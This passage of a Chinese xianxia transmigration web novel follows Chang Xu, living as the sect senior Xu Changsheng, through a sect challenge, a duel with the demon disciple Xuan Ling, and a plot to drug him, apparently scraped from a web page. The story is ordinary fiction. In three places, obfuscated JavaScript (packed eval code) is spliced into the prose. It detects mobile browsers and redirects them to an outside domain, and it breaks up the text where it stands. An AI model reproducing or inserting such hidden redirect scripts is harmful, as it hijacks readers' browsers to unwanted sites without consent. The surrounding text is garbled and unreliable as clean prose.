;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362920|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间，若得了运气，更有可能得到前辈高人留下的武器秘籍，是修真界人可遇不可求的宝库秘穴。 一般情况下，秘境并无危险。 不过，这只是对于寻常修士而言。到了韩尚同这里，自是要有层出不穷的意外了。 常栩抬起头，“恰巧”看到一名衣衫沾血的弟子慌忙跑来，开口便是：“穆蘅长老，韩师兄不好了！” 原来那秘境之中竟有魔兽，韩尚同为护众人与之缠斗良久，拼着受伤将其他弟子送出，自己却仍深陷秘境，生死不知。 穆蘅面色凝重，倒还保有几分冷静，问：“如何只你一人回来，其他人呢？” 那弟子道：“那秘境诡异，师兄弟们都受了重伤，弟子幸赖岳姑娘帮助，才得以……” 穆蘅只觉一个头两个大：“你是说，岳婉吟也去了秘境？！” 这姑娘怎么会掺和进去！若是她出什么事儿，那杜泽良怕不是要打上苍华派！ 不待弟子回答，常栩已经出声道：“穆蘅长老，事不宜迟，我先赶往救援！” 说罢，即刻御剑飞走。 宣凌不知什么时候也在一旁，说了一句“弟子也去”，便紧随其后。 倒是让穆蘅长老惊慌中生出几分错愕来：“……他们二人，何时如此默契了？” 去休过崖的路上，常栩瞥见宣凌脸上浮现的几分忧虑，心下无端想着，这应是他难得的真情实感。 只是不知是为韩尚同多一些，还是为岳婉吟多一些？ 或许都有吧。 原著中，当宣凌得知岳婉吟喜欢韩尚同之后，纵使心下郁结，却未曾表现半分，愿意为了韩尚同而退让。 只因韩尚同曾经真心爱护他这名师弟。 当初看小说之时，常栩便想，宣凌虽是魔族，却长着半颗人心，里头装着最为原始、也最为简单的善恶喜恶：谁对他好，他便对谁好。 若不是遇见了许长生—— 常栩打住想法，不再想下去。 休过崖外，七八名负伤的苍华弟子东倒西歪，好些已经昏迷了，只有一两个苦苦支撑，看见常栩，提着一口气大声道：“师姐、快……秘境要、要消失了！” 秘境是天生地长，仿若活物，自然不会只停留在一个地方。尽管目前已有修士研究处“抓捕”秘境的阵法，使其能短暂停留下来，却也最多不过十天。 苍华派的限制阵法并不算精妙，撑到如今已是极限。 常栩清楚看到，幽蓝色“洞穴”外围的六根金绳已断裂了五根，最后一根也岌岌可危。 这种情况，常栩二人自然不可贸然闯入秘境，只能合力加固阵法，为最后一根金绳上施加多重法术。 即便如此，秘境的洞口仍在缓慢缩小，如同被投下石头的水波纹，正在缓缓弥平。 宣凌的眉宇之间浮现焦躁，不时望向洞内，似乎想独自闯入，被常栩冷声喝止。 “若洞口消失，他们就永远也出不来了。” 宣凌看了她一眼，终究没有轻举妄动。 就在金绳即将断裂之际，两道银光从秘境内飞出，无声地落在地上，手里拿着类似于兽角的东西。 常栩松了一口气，这才放下施法的双手，秘境顷刻消失无踪。 “岳姑娘！婉吟！” 韩尚同却是无暇顾及众人，捧着怀中女子的脸，焦急唤着，不顾身上的伤口，一味输送灵力。 岳婉吟缓缓睁开眼睛，竟然笑了：“韩公子，你知道……我想说的话……” “我知道。”韩尚同的眼中竟然盈着泪，是失而复得的喜悦，“婉吟至情至性，我岂会不知……从今而后，只要你唤我，无论何处，我都会寻你。” “这便够了。我不要你放弃，只要如此，便足够了。” 岳婉吟伸出虚弱的手臂，挽住韩尚同的肩膀，深深埋入他的怀中。 安静的氛围中，常栩轻轻收起了剑，装作不经意地看了宣凌一眼。 她想，宣凌才失恋，就让她看到这一幕，不得黯然神伤？ 熟料对方也在同一时刻看向常栩，眼神之中，颇见复杂。 他想，许长生应是喜欢韩师兄，这个时候，怎么还未拂袖而去？ 两个人各怀心思，对视片刻后，又默默移开了目光。 31. 第三十一章 闭关出关 男女主修过崖定情，象征着前期剧情的告一段落。 岳婉吟依依不舍回了青离宫，宣凌随后入鸣鹤谷修炼，至今已经有五个月了。 这段时间，无甚大事发生。常栩先前为了剧情点忙前忙后，这一冷不丁闲下来，还真有些不大习惯。 也不是说她真的闲下来了，剧情之外，还有不少属于“许长生”的杂事。 因着谢千景那一句“放心托付苍华”，现在常栩的地位已经从大师姐升级成了少掌门，不止弟子们恭恭敬敬、绝无违逆，就连长老们也陆续找她主持门派内的一些事情。 不接触不知道，从武器、功法秘籍、灵药、玉石，到布匹、木材、米面、纸张……一个门派上上下下所有开销，虽有各堂掌事负责打理，最终上报拍板，却还是要到掌门这里。 谢千景常年闭关，多是两位长老处理。现在有了她这个准掌门，可不要尽量多接触，熟悉工作？ 常栩实在没想到穿越后还有这一遭等着自己，一开始恨不得让系统把许长生的魂儿招回来——这当然不可能。 她只能硬着头皮边看边学，错处自然犯了不少。 穆蘅倒还好说话，庚微则是个冷硬严苛的，少不得训斥几句。 常栩起初还觉得不好意思，听得多了，脸皮厚了起来，脸不红心不跳地请教、改正，主打一个立正挨打、态度良好。 渐渐地，庚微心头最后的那点不满也散了。 从前掌门夸赞许长生，他从不认同，只道是个心比天高的浮躁小儿，难成大事。如今却也改观了，难得称赞她有能力。 谢千景听在耳中，勾起嘴角，常栩的欣赏一日盖过一日。 他没再闭关，而是每日授课，手把手教导常栩如何当好一个掌门，不仅是管理门派开销，还有各路关系网的梳理，以及最重要的功法修炼。 “灼华令”是谢千景所传授，无人比他懂其特性。 从前常栩都是自己靠着原主的底子和捉摸不透的感悟雾里看花、摸索前行，如今得了谢千景亲自指导，此前诸多不顺之处，很快茅塞顿开，修炼一日千里。 大师姐如此努力，其他弟子也没理由闲着，一个比一个上进。 尤其是沈星河，他每日都要来昀秀峰，若谢千景在，就跟着常栩一起修炼；若谢千景有事不来，他就自己找块地方感悟，颇有几分赖在这里不走的意味。 常栩揣摩自己好像没得罪这位剑痴啊，为何看向自己的目光隐隐有些幽怨呢？ 至于陆小满，她因在宗门宴上被江霓比了下去，实在是不服气，老老实实修炼，竟不再整天围着师姐转了。 这可把孟春吓得不轻，以为师妹发癔症了，有天还拎着她送到师尊那边治病，闹了好大一统笑话。 只有江霓还像之前一样足不出户，猫在住处不出来，不过听附近的莫震宇说那边常有鬼哭狼嚎，常栩猜测应该也在暗地里修习。 当然，最不能被忽视的，还是男主韩尚同了。 他走的是游历四方、不断碰到高人和奇遇的路子，常栩不总见到他，也说不准进步了多少，只知道肯定是断层领先，每次“士别三日”，都让众人刮目相看。 * 这天，常栩正在学堂布置早课，见明曦急匆匆赶过来，开口就是一件大事—— 以伏幽派为首的数十名修士齐聚卷云台，提出与苍华弟子公平切磋。 近半年来，这样的事屡见不鲜，常栩已经见怪不怪了。 由于苍华派声名鹊起，又即将参加道清大会，有很多门派羡慕尊敬的同时，也不乏一些门派眼红心酸，总是要登门寻衅、心服口服才能罢休。 只是这一次来的，并不算是小门派。 伏幽派虽未名列道清盟，却也算是数一数二的民间门派。修真界隔三差五就会议论下一个进入道清盟的会是哪家，伏幽派常常名列榜首。 如今却被名不见经传的苍华派抢了名头，焉能服气？ 卷云台上，领头之人看装束应是伏幽派的长老，瘦长的脸上一双浓眉分外醒目。 常栩瞧着，觉得有几分像是成了精的黄鼠狼，幽绿的眼睛不怀好意。 “老夫黄云，代表伏幽派，恭贺苍华派即将参加道清大会。” 刚好还是姓黄。 常栩想，幸而这个世界并无多少精怪，否则，这位长老的嫌疑还真不好洗清…… 黄云道：“只可惜我伏幽派却未由此荣光，是在遗憾，不知可否与苍华派公平切磋一番，也好沾一沾贵派的运势。” 言语之中，明摆着不服气。 他嘴上说是公平对决，实际上带了将近三十个人，却提出“车轮战”的形式，只让苍华派留一人守擂。 只要被打败一次，就算苍华输。 伏幽派有备而来，三十名修士自然个个是好手，即便是派出最强的韩尚同，也未必能够坚持打完三十人。 有苍华弟子提出抗议，黄云却理直气壮：“苍华既然比伏幽厉害，自然我们应该多出一些人。” 见对方如此无耻，陆小满不愿中了对方的圈套，想将他们撵走。 伏幽派却扯着嗓子嘲笑，夸张地说些苍华派没有勇气、名不副实、走后门之类的话语，是在烦人。 常栩能够看出，这群人在道清大会召开前一个月来此挑衅，就是为了一挫苍华派的锐气。 即便对方条件苛刻，可若以此为由拒绝，终究算不上完美，留了一个可供人说的疙瘩。 所以，当众人都寻求常栩意见之时，她并没有马上表态，而是看向韩尚同。 说来说去，最适合应战之人，只有这一个。 韩尚同个子又高了些，因为风吹日晒，肤色也较之前黑了——这并未减损他的俊美，却让常栩松了一口气。 只因这样就不再是她喜欢的类型，“魅惑光环”也跟着减弱了。 韩尚同知此事非同小可，略微一思量，表示愿意出战。 大师姐和韩师兄都是稳住之人，他们既能同意，必然有一定的信心。 苍华弟子们心下稍安，唯有一人面有不满，侧过头哼了一声。 常栩敏锐地看过去，不是别人，正是同意喜欢岳婉吟的孟春。 听说在韩尚同和岳婉吟定情之后，孟春大半夜放火烧了自己的住处，因为连着陆小满的房子，被她边打边骂追了大半宿…… 尽管如此，他的心结还是没放下。常栩微不可查地摇了摇头。 黄云一直是好整以暇的姿态，瞧见韩尚同上了擂台，眯起眼睛，喃喃道：“这便是韩尚同？果真是……出乎意料。” 不知想到了什么，他低低怪笑起来。 伏幽派的修士们不明所以，但还是按照事先安排好的次序，做好准备，一个接一个地登台车轮战。 这群人自然不是韩尚同的对手，基本上都在五招之内败下阵去。既是切磋，双方默认点到即止，韩尚同也并未伤人。 才不过一刻钟，伏幽派已有半数修修士落败。 黄云似乎对弟子的失败并不放在心上，认真地观察韩尚同的招式。 到了第十四人，上场之前，长老才讲出了第一句话，嘴角勾着怪异笑容，在那人耳边说些什么。 在等待的间隙，韩尚同不动声色地调息体内灵力。 他的功法“以风御气”，有一不起眼的弱点，那就是胸口的灵海需要通过吐息、收纳来完成气在周身的流转，这一过程是无声而细微的，原并不值得一提。 可偏偏今日他面对的是车轮战， 十几人下来，胸口起伏的次数明显增多，意味着回气变慢。 这种细微的变化，本不该被不熟悉韩尚同、且对其功法一无所知的外人察觉。 可是黄云敏锐地注意到了韩尚同的破绽。 在他的指导下，第十四人有意逼迫韩尚同近身对决，身形交错之际，他倏地一改先前攻势，猝不及防地朝着韩尚同的胸口攻去，沉沉一击，早有准备。 积蓄的气海顿时溃散，韩尚同吐出鲜血，转瞬之际落于下风。 众人惊呼，韩尚同却只停顿片刻，知道自己决不能败。 于是他握紧拳头、再催灵力，危机之下，也顾不得注意手下轻重，生生掰断了对手的手腕，将之丢下擂台，才半跪在擂台赛吐血。 “好！哈哈哈！” “卑鄙！” 伏幽派那边为伤了韩尚同而喝彩，苍华这边却是又气又急，骂他们不收武德、出手伤人。 但无论如何，韩尚同确实是不能继续再战了。 眼见伏幽派叫嚣，苍华这边不甘示弱，齐声高喊：“大师姐定能挫尔等之跋扈！” “大师姐也是苍华第一人，只是不屑于与你们出手罢了！” “没错！这道清令有一半是大师姐得来的，你等就等着瞧吧！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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既然有人能够代劳，常栩自然不必亲自出马，重新站会原位，对黄云道：“我还有一位师弟，先过了他这关，再来找我。” 黄云瞥了一眼宣凌，听到“师弟”二字，以为是那位“剑痴”沈星河，嘴角笑容不变。 他有备而来，怎会忽略此人？ 只是，当见到黑衣少年以水气凝结成剑，两三招便将对手打下擂台，黄云才发觉不对劲。 相较于韩尚同，这名突然冒出来的“师弟”出手更没轻重，虽然面上笑得温和，招式却毫不留情，迅疾而精准，力图以最快速度让对手倒下。 余下十二人，竟无一人能伤到他，尽数战败。 “宣师弟赢了！” “真没想到，宣凌竟然这么强了！” 黄云没想到是这个结果。 本以为知悉了韩尚同的弱点，便可胜券在握。却没想到半路杀出了宣凌，此前未曾听闻，竟然也有如此实力…… 再想到那未曾真正出手的许长生，他面色凝重，知道此行算是偷鸡不成蚀把米，不仅未能，反而让苍华派得了名声。 事已至此，也只能咬牙认输：“苍华派人才辈出，老夫敬佩。” “留步。” 常栩冷淡的脸上闪过一丝笑意，道：“伏幽派平白上门挑衅，如此便要走吗？” 黄云的问：“你想要如何？” “非是我要如何。”常栩竖起一根手指，缓缓道，“民间有规矩，凡踢馆败阵者，皆需磕头以谢罪。” 伏幽派的弟子们都看向黄云，见对方缓缓点头，于是陆续跪下，朝着苍华派的方向一人磕一个头。 常栩又看向黄云。 黄云没想到常栩如此不给面子，眼角狠狠抽动了下，到底忍了下来：“既然有规矩，那便按规矩来。” 他从袖中拿出短刀，眼睛也不眨地砍在手臂上，霎时鲜血喷涌，浸染半截衣袖。 “许姑娘，够了吗？” “黄长老太客气了，本不必如此。”常栩讶异道，“你是长辈，我怎敢要你磕头？哎呀，你真是太心急了！” “……” 黄云的脸上再没了笑容，冷哼一声，带领众人拂袖而去。 苍华派此番算是扬眉吐气，围上前欢呼雀跃。韩尚同因为有伤，已经先行去了广元堂。 宣凌与诸位师兄师姐寒暄几句之后，主动来到常栩面前，面上的笑容春分般温暖和煦：“师姐，别来无恙。” 很快就有恙了。 这一瞬间，常栩听到了久违的系统提示音—— 【下一剧情点：在道清大会上揭露宣凌的魔族身份。】 32. 第三十二章 暗流 道清大会，《诛天》前期最关键的转折点，细细数来，满是炮灰女反许长生的“高光”时刻—— 短短数日，她先是揭露宣凌的魔族身份，令其被天元宗囚禁；再以此为筹码，逼迫谢千景闭关，一举夺得苍华掌门之位；最后更以分身之法，除掉了情敌岳婉吟。 这之后没多久，她便被黑化的、危冥山归来的魔尊宣凌，亲手诛杀。 想到这里，常栩忍不住捂住胸口，长舒一口气 终于，这该死的任务终于走到了尽头！ 死遁近在咫尺，新生触手可及！ 常栩心情大好，见到如期出关的宣凌，更觉一切尽在掌握，唇角不自觉勾起一抹满意的弧度。 宣凌微微侧头看她，眸中掠过一丝不解，面上依旧恭顺，回以一个温煦的笑容。 这笑容太过明媚耀眼，几乎闪了常栩的眼。 她瞬间敛去笑意，目光沉沉地审视宣凌良久，眉头渐渐蹙起，陷入深思。 伏幽派一行人气势汹汹而来，最终却灰头土脸而去，反让苍华名声大噪。 得知这个结果，弟子们无不欢欣雀跃，连素来冷肃的庚微长老，唇角也难得地噙了一丝笑意。 宣凌身为此次力挽狂澜的功臣，更让门派上下刮目相看。 谢千景上下打量宣凌片刻，缓缓颔首：“过两日便是道清大会，你此时出关，修为亦精进不少，可算恰逢其时，便与长生、尚同一道前往吧。” 此言一出，云上阁内的弟子们虽早有预料，仍不免发出阵阵议论声，有哀叹也有羡慕。 须知这道清大会，实乃可遇不可求的盛事。 人界百家宗门林立，所修之道迥异，功法参悟更是因人千差万别。若真要排定名次，怕是几十年也争论不休。 然若只问那魁首之位，答案便清晰得多——数百年来，唯天元宗始终屹立绝巅，为万修仰望。 对寻常修士而言，能参与一次道清大会，便如同登天梯、越剑渊，一步踏上了修真界的云端。 自打苍华派取得道清令后，弟子们私下无不勤修苦练，盼着能得此机缘。 今日一看，终究是没机会了，却也无人不服。 一时间，所有目光都聚焦在宣凌身上，以为他必定受宠若惊、狂喜难抑。 常栩却心知肚明，对寻常修士而言，道清大会自是求之不得。但宣凌身为魔族，为免身份暴露，原著中若非许长生有意安排，他绝无可能前往。 以为他会说出拒绝的话，没想到，宣凌只是略一停顿，便垂首应道：“谨听师尊安排。” 那副乖巧温顺、稳重知礼的模样，让常栩眉梢一跳，几乎以为自己认错了人。 仔细看去，原本深藏在少年眼底的暴戾与恨意，竟似消弭无踪，一点也看不见了。 仿佛真的是一名朴实善良的人族小师弟。 想到即将上演的剧情，常栩无声摇头，转身离去。 终究只是镜花水月，一场空罢了。 * 宣凌于鸣鹤谷闭关半载，不仅修为尽复，更精进良多。常栩也因为修炼得来的功法，彻底祛除了魔气遗留的旧伤。 如此一来，当年二人所立的心契，自然消散无形，再无束缚。 没了这道枷锁，两人之间的关系瞬间变得危险起来。 昀秀峰内，常栩做好了挨揍的准备。 她记得清清楚楚，原著里便是许长生自不量力，以为还能拿捏对方，结果被再无顾忌的宣凌打了个半死，狠狠报了昔日之仇。 身为当初在评论区叫好的一员，常栩表示：真轮到自己，一点也不想体验！ 那得多疼啊！ 所以，当宣凌主动寻来时，常栩冷着一张脸，目光紧锁他的一举一动，灵力暗蕴掌心，随时准备防御。 没想到，宣凌虽注意到她身后的小动作，却没有动手，而是平静地摇了摇头：“师姐，心契已消。你我二人此后井水不犯河水，可好？我无意与师姐为敌，也望师姐……莫再针对我。” 常栩一哽，被这不按套路出牌的举动噎住了。 不是……你的深仇大恨呢？你的睚眦必报呢？你可是朵黑心莲啊！就这么轻飘飘揭过去了？ 常栩狐疑地问：“你到底有何图谋？” 宣凌道：“师姐何必如此戒备？师弟以为，经过这些时日，我的诚意，师姐应当有所了解才是。” “诚意？”常栩嗤笑，“谁知是不是你的伪装……” 宣凌眸色一沉，神色间多了几分不耐。 不再废话，他身形一晃，瞬间欺近常栩身前，凌空跃下，手中寒芒乍现，匕首破空而至，直取常栩面门！ 电光火石之间，常栩只觉凉风掠起鬓边碎发，早有防备的手掌倏地收紧，却又在下一刻松开。 这一招一式之中，并无杀意。 于是她佯作未能察觉，任由那柄匕首擦着耳畔掠过，“铮”的一声，斩断了身后半盏琉璃灯。 烛火葳蕤摇曳，明灭不定。两人四目相对，近在咫尺。 宣凌忽地收起笑意。 常栩愣了一下，不及反应，水色灵气如晨露般骤然凝结，瞬间充斥整个房间，化作一张无形的巨网，将她周身的护体灵力层层削弱。 随即，宣凌裹挟着刺骨寒气的掌风已至，重重拍在她肩头，魔气如冰锥般瞬间侵入四肢百骸。 常栩闷哼一声，脸色顿时苍白，喉头腥甜上涌，一口鲜血喷出。她承受不住这冲击，单膝跪倒在地。 这是宣凌第一次在“许长生”面前展露真实面目——不再是那个温顺懂礼的师弟，而是阴晴难测、气息森然的魔族。 他垂眸俯视着她，淡淡道：“师姐，这段时日你予我的折辱，今日一并还你。从此，我不杀你，你也莫来惹我。相安无事，不好吗？” 随着宣凌收回手掌，那股侵蚀经脉的魔气缓缓退散。 常栩脸色阴沉，重重咳了几声，只觉魔气蚀体之痛，当真恐怖如斯。 “这才是你的真面目。”她抬手抹去嘴角血迹，犹自嘴硬，“我凭什么信你？” 宣凌倒未生气，反而问道：“若我帮师姐，师姐可愿信我？” 常栩愣住了：“何意？” 宣凌道：“师姐还未察觉吗？我先前交给你的功法存有残缺，非我魔族之人强行修炼，极易走火入魔，伤及根本。” 常栩：“……” 她心中一惊，不知道为啥宣凌会说出这件事。 这不是他留着日后陷害许长生的杀招吗？现在就说出来，剧情还怎么走？ 良久，常栩才说：“为什么和我说这个，你以为我会信？” 宣凌冷哼一声：“信不信由你。我只是……不想你死。师姐，好自为之。” 言罢，不再多留，转身离去。 望着消失在门外的背影，常栩心道，再过几天，你怕就不会这么说了。 “系统，”她默默呼唤，“你有没有觉得，宣凌好像……没之前那么邪气了？难道是我剧情走偏了？打开方式不对？” 系统：【宿主勿要多想，专注完成任务即可。】 常栩叹气：“唉，他对我其实真挺不错的，一想到马上又要坑他一把，还真有点于心不忍……” 系统：【……】 常栩眉梢一挑：“系统，我怎么觉得你最近话变少了？尤其是关于宣凌的事。你是不是有什么事瞒着我？” 系统提醒道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362922|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：【警告：距离最终任务节点仅余三处。请宿主专注剧情，切勿节外生枝。】 常栩也只是随口一说。只剩三个剧情点了，她可不想功亏一篑。 两日后，苍华派山门外。 天元宗派来的浮舟车队已然列阵。白玉为壁，云烟化马，稳稳悬停于半空之中，仙气缭绕，蔚为壮观。 按照惯例，历来参加道清大会的门派，皆需乘此浮舟，自山门出发，一路巡行至天元绝壁，昭示天下，方不负此行盛名。 谢千景、庚微、穆蘅三位长老，自然端坐于最前方那座明珠镶嵌、笼罩七彩霞光的华车之内，流光溢彩，远远望去便觉威仪万千。 常栩、宣凌、韩尚同则分别居于后方三架稍小的云舟内，犹如神龙彩凤之尾翼，虽不及主车华贵，却也玲珑精致，仙气盎然。 ……唯一美中不足的是，常栩登舟不久便觉头晕目眩。 至此，她终于确认，自己不止晕云船，但凡不脚踏实地、飘在空中的玩意儿，她都晕！ 也因此，下山这一路，她全程病恹恹地歪在舟内，有气无力，自然也就没注意到宣凌私下里的那些小动作。 * 浮舟车队离开不息山没多久，宣凌便在途经的林中发现一丝隐秘的魔族印记 他寻了个间隙悄然离队，在永川镇外一处僻静之地，见到了等候已久的高羡麟与季聆雪。 高羡麟一见宣凌，便战战兢兢地跪伏于地，忙不迭地禀报：“殿下！归弥长老已率其余部众返回危冥山，只是……只是季大人执意要见您一面，属下实在……” 话未说完，季聆雪已迫不及待地开口：“殿下！属下终于见到您了！未能护持左右，属下罪该万死！” 宣凌却摇了摇头：“你不必跟着我。我暂时不会回去，危冥山诸事已交由归弥处理。” 季聆雪面露急色：“殿下！您是魔尊与云杳公子的血脉，只有您才配执掌危冥山，怎能假手于人？况且大仇未报，何以留在人界？” “我会回去，但不是现在。” 宣凌语气平淡，带着不容置疑的决断。 然而季聆雪何等敏锐，她一眼便看出其中端倪，分明是殿下心中，已有了割舍不下的牵挂。 她不自觉加重了语气：“殿下！请莫要被人族迷惑！您是魔族，此间绝非久留之地！” 宣凌目光微抬，反问道：“你身为人族，不也长留魔界？” 季聆雪闻言一怔，随即唇边泛起一丝自嘲：“属下在人界早已无家可归，若非当年蒙云杳公子相救，早已身死道消。殿下您呢？您在此地，又遇见了何人？” 宣凌沉默不语。 一旁的高羡麟与王乌却下意识地对视一眼，心头同时浮现出一个少女明媚的身影。 “回去吧。莫要再来寻我。” 宣凌心意已决，只留下这句，身影便如电光般消失在原地。 季聆雪站在原地，暗暗握紧了拳头。 而后，她的目光看向高羡麟和王乌，冷冷道：“殿下到底遇到了什么人，你们都见过，是吗？” * 苍华派的车队行进得并不快，一日光景，堪堪才过永川镇地界。 主要是因为沿途百姓夹道围观、跪拜，人群一多，便将道路堵得水泄不通，间有其他途经的门派前来攀谈结交。 于是走走停停，好不热闹。 这倒给了常栩忙里偷闲的机会。 趁着谢千景等人在前方与别派修士商业互吹，她赶紧借口不喜喧闹，溜到附近山间，寻了个清幽处纳凉小憩。 岂料，刚寻了块青石躺下不久，一道凌厉的紫色长鞭凌空而来，带着刺耳的尖啸，宛如游蛇一般缠住她的脚踝！ 33. 第三十三章 约定 鞭风扫过，身旁几棵碗口粗的树应声而断，碎屑纷飞。 浓重的魔气瞬间弥漫开来，带着令人心悸的压迫感。 作为曾经的南玄首徒、如今的魔族护法，季聆雪对自己的修为向来极有自信。 听闻“许长生”对宣凌的态度后，便存了教训之心。她从高羡麟那里粗略了解这位苍华派师姐，知其独断专行，料想修为也高不到哪里去。 这一击虽未下杀手，却也用了七八分力。 然而，常栩却在长鞭袭至身前的一瞬闪身避开。 季聆雪眉头一挑。 常栩拢着被风吹起的衣袖，轻盈立于树梢，略带疑惑地审视着下方的不速之客。 随后，她露出意外的神情。 季聆雪？她怎会在此？ 念头一转，常栩眉头微蹙，似乎有些困扰。 季聆雪却不罢休，手中长鞭趁机变换形态，化作一柄吞吐寒芒的蛇形长剑，剑势一起，赫然是南玄派的功法！ 常栩心知对方来者不善，凝神应对。 赤荧剑“嗡”地一声清鸣，剑身燃起炽烈火光，瞬间照亮了漆黑的林地，那跳跃的火焰映在她瞳孔中，亮得惊人。 南玄功法以精纯木气驾驭万物，这片茂密的树林正是绝佳领地。伴随蛇形长剑一同袭向常栩的，还有无数破土而出的狰狞藤蔓，如同活物般缠绕。 若在半年前面对季聆雪，常栩恐怕难有胜算。 但此刻，她心头却异常沉稳，不见丝毫慌乱。 剑光飞掠，斩落漫天簌簌枝叶。燃烧的叶片被激荡的热风吹散，如同林间飞舞的萤火，环绕在二人身侧。 两道身影在林中飞快穿梭，最终武器锋刃相接的刹那，季聆雪的蛇形剑倏地软化，重新化为坚韧长鞭，缠住了赤影剑。 直到此刻，季聆雪才开口：“王乌真是有眼无珠，若你这样的也算草包，那这修真界当真无人可称雄了。” 感知到对方并非为搏命而来，常栩率先收力，赤荧剑上的火光缓缓熄灭。 她收回长剑，道：“或许是它与你有些旧怨，想借我之手除掉你罢了。” 季聆雪冷笑：“苍华派的首席弟子，果然狂妄。” “过奖了，不比季姑娘身为前南玄首徒来得风光。” 简单一番试探后，季聆雪终于切入正题，开门见山：“宣凌是魔族这件事，你知道对吗？我听闻，你并不喜他。” 常栩对此毫不意外：“你是为宣凌而来？” 虽然不清楚为何季聆雪此刻仍在人界，但这位忠心的护卫专程找来，除了宣凌的事别无他想。 这是原著中没有的剧情，常栩只能靠常理推测，也许来警告她别再找宣凌麻烦？ 季聆雪也收回了鞭子，恢复了言笑晏晏的模样。她语气轻松地说：“既然你不喜欢他，不如我们合作如何？想办法将他从苍华派赶走，最好是……赶回危冥山。” 常栩：“……” 这倒是有些出乎意料。她忍不住问道：“恕我直言，你是与宣凌有仇怨么？” “这你无需知晓。”季聆雪眼中掠过狠意，“人界本就不是魔族该久留之地。我只想让他‘回家’而已。” 小说中始终对宣凌惟命是从、忠心耿耿的女配，在这一刻，竟显露出一种出人意料的偏执。 常栩心道，姑娘你也太心急了点？再等两天，只要她按计划陷害，加上岳婉吟之死，宣凌自然会黑化返回危冥山，根本用不着你来催促—— 等等！ 常栩轻咳一声，压下心绪，面无表情地问：“天下没有白得的买卖。要与我合作，不知能给我什么好处？” 季聆雪心底冷哼一声，她对这个曾折辱宣凌之人毫无好感，但为达目的，她可以暂时忍耐。 “清剿魔族，对你们人族而言难道不是天大的功绩？你想坐上苍华掌门之位，少了这等功劳，如何服众？” “不，我不需要这个。”常栩摇头，“我只要一份魔族疗伤的典籍。” 季聆雪略一思索，道：“可以。” 常栩这才点头：“那么，你要我怎么做？” 季聆雪也不废话，直接抛给常栩一个绿色小瓶，略带讽刺道：“有你这位‘好师姐’亲自出手，他定然中招。” 常栩觉得对方高估了自己的分量：“季姑娘怕是估计错了。我与他之间，唯有仇怨，并无情分。” 季聆雪：“你该庆幸只有仇怨。若是其他，我今日就不会来找你合作了。” 话里隐隐透着一层怨念。 常栩心中一动，试探道：“莫非，你还找上了别人？” 季聆雪并未隐瞒：“宣凌在永川镇有个在意的人族女子，我打算除掉她。” 这是她从高羡麟和王乌口中逼问出的信息。 感受到对面女子话中森然的杀意，常栩脖颈莫名一凉，随即又有些无语。 这群魔族真是没点脑子，连宣凌喜欢的人都找不对，欺负裳儿做什么！ 为避免被无故牵连，常栩不动声色地道：“我劝季姑娘莫要节外生枝。此时你一个魔族动手，极易暴露行藏，不如先等我这边的消息。” 季聆雪不置可否，也不知听进去几分。 临走前，她只留下一句话：“那就看你有没有这个本事了。” 走远后，王乌从季聆雪的袖袋里探出头来，战战兢兢地说：“大、大人，我们这样算计殿下，万一被知晓了，可如何是好啊……” 季聆雪目光幽冷：“不过是为了让殿下早日看清人族的真面目罢了。” 王乌似懂非懂地点点头，又看了眼常栩消失的方向：“奇怪，这个许长生，我总觉得莫名有些熟悉……” * 回到车队后，常栩将季聆雪给的那个绿色小瓶攥在手里，心情复杂地问系统：“这可比原著做得还要狠。真的可行吗？” 【此非原著固有剧情点，是否按照与季聆雪的约定执行，全凭宿主决定。】 系统顿了一下：【不过，鉴于宿主与宣凌当前的羁绊值过高，手段激烈些，或许更利于一次性达成任务点。】 “嗯？现在羁绊值多少了？” 【目前剩余110羁绊值，累计320羁绊值，距离三星福利目标尚差80羁绊值。】 说到这个，常栩又想起之前那莫名其妙的“其利断金”和“爱之滤镜”效果。 想着自己和宣凌迟早一拍两散，这东西实在鸡肋，便也懒得深究了。 这时，浮舟外传来宣凌的声音，打断了她的思绪。 “师姐，我要去永川镇一趟。已向师尊禀明，特来告知师姐。” 常栩心头一跳，心虚地将小药瓶飞快收入储物囊中，这才强作镇定，懒洋洋地回应：“去吧，莫要生事便好。” 等宣凌走远，她立刻将浮舟四周的禁制全数开启，做出要安歇的模样，倒头躺下。 自宣凌闭关后，常栩偶尔会以“裳儿”的身份去永川镇小住。 日子久了，倒和周围的邻里婆婆们混熟了，装得惟妙惟肖，仿佛世上真有一个从金蝶山庄流落至此、孤苦无依的小丫头。 清晨，常栩从床上醒来，对着窗棂透进的朝阳伸了个懒腰，活动了一下这具稍显僵硬的身体。 在宣凌到来之前，她从打理好的小菜园里摘了些新鲜青菜，在厨房做好一份简单的清粥小菜。 而后推开院门，笑着和外面晨练散步的阿姨婶婶们打招呼，坐在门口的小凳上，听她们兴致勃勃地聊着近来的新鲜事。 不出所料，所有人都在讨论苍华派。 “了不得哎！苍华派真参加道清大会了，这下真是名扬天下了！” “那是，前些日子，听说那伏幽派的人上门挑衅，苍华派只派出两三个人，就把对方几十号人打得落花流水，厉害得很！” “你们昨天瞧见没？天元宗的浮舟车队！乖乖，我活了这么大岁数头 